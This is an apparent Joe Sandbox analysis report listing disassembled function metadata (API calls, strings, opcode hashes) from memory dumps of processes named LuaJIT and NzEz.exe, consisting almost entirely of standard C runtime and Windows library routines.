Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: std::rsfun
String ID: $$type parameter
API String ID: 3764944385-1705267328
Opcode ID: 6b1de1a4cd9c0b01c76d9f2ae974172aeab0731a05d1d1179e6173c14350cda6
Instruction ID: 2205bc6b185030c5fec3cf71058c9e8f2bdb5551c46cba48f1cd835f1ca79d7f
Opcode Fuzzy Hash: 6b1de1a4cd9c0b01c76d9f2ae974172aeab0731a05d1d1179e6173c14350cda6
Instruction Fuzzy Hash: 9F513B37619B8586DB60DF4AE48022EF7A0F7C8BA4F544622EE9D877A4CF7DD4409B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0CB88 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF738B0CC9F
GetLastError.KERNEL32 ref: 00007FF738B0CCC1

Strings

U, xrefs: 00007FF738B0CC4B

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: bb5670a805d3fe430e447df02031e4798067a628be05abd275a1d0ed77e9e78f
Instruction ID: d6d1d784e252a5e4fb849e791c06414145199b6faff10d87ea68403a0c52faea
Opcode Fuzzy Hash: bb5670a805d3fe430e447df02031e4798067a628be05abd275a1d0ed77e9e78f
Instruction Fuzzy Hash: 7041F063B18A8292DB20EF25E4547AAE7A0FB887C0F844031EE4D87798DF3DD405D766

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0EE00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF738B0EF12

Strings

pow, xrefs: 00007FF738B0EF01
", xrefs: 00007FF738B0EEEB

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: a0dc12af340543ad661d9082fe21a51273c15c51973181b3e1556972bb2ad2fd
Instruction ID: c0394b19fccd47fd856fc83e10b608f9496c05e082fb63f67ff091526a43bf3f
Opcode Fuzzy Hash: a0dc12af340543ad661d9082fe21a51273c15c51973181b3e1556972bb2ad2fd
Instruction Fuzzy Hash: 492186B3D1CAC597E770DF10E040A6BF6A0FBDA344F501325F29906A94CB7DD0419B16

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B102B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF738B1035C
_set_errno_from_matherr.LIBCMT ref: 00007FF738B10370

Strings

tanh, xrefs: 00007FF738B102D7

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: tanh
API String ID: 1187470696-874243715
Opcode ID: 0a0cb5a22677a767c1ff2a638b69de59b972d8315788a6de307129cec1c6edf7
Instruction ID: 09969b8aebeefa73455f94ec973b4bd6b0bfc5e63f7b3cb01410368645ed70d9
Opcode Fuzzy Hash: 0a0cb5a22677a767c1ff2a638b69de59b972d8315788a6de307129cec1c6edf7
Instruction Fuzzy Hash: 54215C77A186829BD7A0EF29E08026EF2E1FB88700F900135F68D86B56DF3DD4019F15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B095DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B09615
CompareStringW.KERNEL32 ref: 00007FF738B0969D

Strings

CompareStringEx, xrefs: 00007FF738B095F8, 00007FF738B09609

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CompareStringtry_get_function
String ID: CompareStringEx
API String ID: 3328479835-2590796910
Opcode ID: fb1c890ddb2a055798cdd89143855e7e553432db2242e5b9771681bd799df73e
Instruction ID: d6b074af8d0188e450a80f544bf8275773019d58e52f9b67d266ff28a664b077
Opcode Fuzzy Hash: fb1c890ddb2a055798cdd89143855e7e553432db2242e5b9771681bd799df73e
Instruction Fuzzy Hash: 61114772A0CBC296D760DB16B4406AAF7A0FB88B80F444136EE8D83B19CF3DD0508B49

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0987C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B098B5
GetDateFormatW.KERNEL32(?,?,?,?,?,?,?,00007FF738B14321,?,?,?,?,?,?,?,00000000), ref: 00007FF738B09917

Strings

GetDateFormatEx, xrefs: 00007FF738B09898, 00007FF738B098A9

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: DateFormattry_get_function
String ID: GetDateFormatEx
API String ID: 595753042-159735388
Opcode ID: 29593a2998ac6117987e235cc15544d86eb18b79bbb5ee2f6b1f970d14c06510
Instruction ID: 0b2ce4d1ab21dc23947cfa96f80bcbae477971cf5c28d607ccabc362595aa327
Opcode Fuzzy Hash: 29593a2998ac6117987e235cc15544d86eb18b79bbb5ee2f6b1f970d14c06510
Instruction Fuzzy Hash: 95119072A08B86D6E610DF55B44009AF7A0FB88BC0F544136EE8D83B68CF3CD5148B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B099B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B099F1
GetTimeFormatW.KERNEL32(?,?,?,?,?,?,?,00007FF738B143D2,?,?,?,?,?,?,?,00000000), ref: 00007FF738B09A48

Strings

GetTimeFormatEx, xrefs: 00007FF738B099D4, 00007FF738B099E5

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: FormatTimetry_get_function
String ID: GetTimeFormatEx
API String ID: 3261793192-1692793031
Opcode ID: f2f3869fae40a697dfa15aca27d9aab4d31875b04a768175c03f66cbb9b00a22
Instruction ID: 0900c325e5fc9c8faea9ad75179d99f4275007e7597b3dbb942fb610c6595e3d
Opcode Fuzzy Hash: f2f3869fae40a697dfa15aca27d9aab4d31875b04a768175c03f66cbb9b00a22
Instruction Fuzzy Hash: 32119E72A08B86D6E710DF56B4000AAF7A0FB88BC0F984136EE9D43B69CF3DD5508B55

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B05A30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF738B05ABF

Strings

!, xrefs: 00007FF738B05AAB
sqrt, xrefs: 00007FF738B05A80

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _handle_error
String ID: !$sqrt
API String ID: 1757819995-799759792
Opcode ID: 3f9dd20109ce663b1f944da5101627329bdddfc87ab4d9b7372b39309db0ff23
Instruction ID: 05f30937254e711ddda18e30e1b87160bedf44d564aeb0f5be2a0d17d16c9244
Opcode Fuzzy Hash: 3f9dd20109ce663b1f944da5101627329bdddfc87ab4d9b7372b39309db0ff23
Instruction Fuzzy Hash: A411B9B3D18B8692DA01DF15944072AE661BB9A7E0F508320E97C16AD8DF3DE0419A05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE14A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF738AE14E4
RaiseException.KERNEL32 ref: 00007FF738AE152A

Strings

csm, xrefs: 00007FF738AE1517

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: a34883132ee60a7a0e3e92ecfa04519025266e22849bdfec6dc3f932667f2681
Instruction ID: 0dbe0a30f8a034ec49efc3ec32845e1c3a72226ed548013060ce051c723f8b51
Opcode Fuzzy Hash: a34883132ee60a7a0e3e92ecfa04519025266e22849bdfec6dc3f932667f2681
Instruction Fuzzy Hash: 8A116A32A09B8592EB609F15E400269F7A0FB88B95F984631EE8D07B68DF3DE451CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0F010 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF738B0F096

Strings

exp, xrefs: 00007FF738B0F085
", xrefs: 00007FF738B0F06F

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 9fdd603b76a48d23854c83fa128c3ec0a1d065c38e77db87c8ff278af7f6c3ee
Instruction ID: 310e555b29e6c76c2fe56fb433b34c4ae32efa187e65aae3e366e73d9a3e70d1
Opcode Fuzzy Hash: 9fdd603b76a48d23854c83fa128c3ec0a1d065c38e77db87c8ff278af7f6c3ee
Instruction Fuzzy Hash: 7C01C877A28B8997E620DF24D0496AAF7A0FFEA744F601315E74416770DB7ED0819B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A788E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF738A788FE
FormatMessageA.KERNEL32 ref: 00007FF738A78932

Part of subcall function 00007FF738A3C860: _free_nolock.LIBCMTD ref: 00007FF738A3C91C

Strings

system error %d, xrefs: 00007FF738A78955

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorFormatLastMessage_free_nolock
String ID: system error %d
API String ID: 3491801694-1688351658
Opcode ID: 7e4d05fadd18b9b11f94f5c6425f15275c7a7fbc6ab491f3a12ea8099a6da99b
Instruction ID: 5030805a00f05d086ce4e05800c671321093543863cb050225259dd93e47edc6
Opcode Fuzzy Hash: 7e4d05fadd18b9b11f94f5c6425f15275c7a7fbc6ab491f3a12ea8099a6da99b
Instruction Fuzzy Hash: 66015233A18AC3D2E760EB51F45176AF3A0FB84784F804035E68D47A59DF7EE4089B19

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B09A64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B09A8D
GetUserDefaultLCID.KERNEL32(?,?,000000A0,00007FF738B198C0), ref: 00007FF738B09AA4

Strings

GetUserDefaultLocaleName, xrefs: 00007FF738B09A70, 00007FF738B09A7A

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: DefaultUsertry_get_function
String ID: GetUserDefaultLocaleName
API String ID: 3217810228-151340334
Opcode ID: 387e11f8245d893e7837b6b120787469813fd98f0c27da7d10021a3758a5c228
Instruction ID: 94e2f5de8847c742d57fa8995251f467fa7a8ae5de84a5f7b0b08c1cc22ae2dc
Opcode Fuzzy Hash: 387e11f8245d893e7837b6b120787469813fd98f0c27da7d10021a3758a5c228
Instruction Fuzzy Hash: 82F0E953F0C587A1EB147B51B5805B8D2A26F4C7D0FC44035D91D42665CF3EE444E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B09AC8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B09AF9
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,-00000018,00007FF738B0D7C2,?,?,00000000,00007FF738B0D6BA,?,?,?,00007FF738AFB0BD), ref: 00007FF738B09B13

Strings

InitializeCriticalSectionEx, xrefs: 00007FF738B09AED

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: f593fc07e1f163ed4f1411d2061b7c33e5da13f5e8e1107869e134c63be22fec
Instruction ID: 9d7ef7f009edc5334dcf183403b319b8c2d5b46a2c978bf3fb0206e9d68fe699
Opcode Fuzzy Hash: f593fc07e1f163ed4f1411d2061b7c33e5da13f5e8e1107869e134c63be22fec
Instruction Fuzzy Hash: A3F0B423B18BC7A1EA14AB41F4404A9E220FF48BD0FC44031E91D03B54CF3EE854D76A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B09828 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B09851
TlsSetValue.KERNEL32(?,?,?,00007FF738B0AB66,?,?,?,00007FF738AFAF01,?,?,?,?,00007FF738B102A3), ref: 00007FF738B09868

Strings

FlsSetValue, xrefs: 00007FF738B0983E

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 1d949419f1085bf99280a0a61ab6c09fbe3545b5b27d1b3e881a82ebf7306659
Instruction ID: 7cd4420f1607cb87434e53ad074cd3e32d237b050a49f23b8ec12ca827e11c51
Opcode Fuzzy Hash: 1d949419f1085bf99280a0a61ab6c09fbe3545b5b27d1b3e881a82ebf7306659
Instruction Fuzzy Hash: DBE06563A08687B1EA04BB51E4454B9E222AF487C1FC84035D92D06395CE3EE454E32B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A5DEF0 Relevance: 5.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A4348C), ref: 00007FF738A5DF1F
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A4348C), ref: 00007FF738A5DF83
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A4348C), ref: 00007FF738A5DFB9
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A4348C), ref: 00007FF738A5E003

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: d7064577febaf475c7bb8ae2d0a4322ba4b58d71bdf70b5fad720353a296914f
Instruction ID: 2297dba5d179ac2145c004c8809ef93dec2cfeaf676bbb3a88d0ae468deac050
Opcode Fuzzy Hash: d7064577febaf475c7bb8ae2d0a4322ba4b58d71bdf70b5fad720353a296914f
Instruction Fuzzy Hash: 34310D37619B8586DB609B2AE45166AFBA0F798B98F040166EECD47B25CE3CC1448B14

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: NzEz.exePID: 1736, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1305
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF6FE0B1E0C Relevance: 13.8, APIs: 9, Instructions: 273
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FE0B19F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE0B1A31
Part of subcall function 00007FF6FE0B19F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE0B1AB1
Part of subcall function 00007FF6FE0B19F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE0B1B05
Part of subcall function 00007FF6FE0B19F0: _get_daylight.LIBCMT ref: 00007FF6FE0B1B5D

CreateFileW.KERNELBASE ref: 00007FF6FE0B1F12
CreateFileW.KERNEL32 ref: 00007FF6FE0B1F62
GetLastError.KERNEL32 ref: 00007FF6FE0B1F92
GetFileType.KERNELBASE ref: 00007FF6FE0B1FA7
GetLastError.KERNEL32 ref: 00007FF6FE0B1FB1
CloseHandle.KERNEL32 ref: 00007FF6FE0B1FE4
CloseHandle.KERNEL32 ref: 00007FF6FE0B213F
CreateFileW.KERNEL32 ref: 00007FF6FE0B2174
GetLastError.KERNEL32 ref: 00007FF6FE0B2183

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 9c6babcf131964b4a709adb186eeeb7abad8bdca1f25803fa6700e53adfe3286
Instruction ID: 0c09bd8aaf0776702dc5a30b405a1347687a942498198be3e7c33f5ea16c0f06
Opcode Fuzzy Hash: 9c6babcf131964b4a709adb186eeeb7abad8bdca1f25803fa6700e53adfe3286
Instruction Fuzzy Hash: 3CC17036B24A4685EB10CF68C4905AD3B75FBA9B98B104226EA2ED77D9DF38D461C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0A9BF4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF6FE0A9C2D
LCMapStringEx.KERNELBASE ref: 00007FF6FE0A9C81
LCMapStringW.KERNEL32 ref: 00007FF6FE0A9CB5

Strings

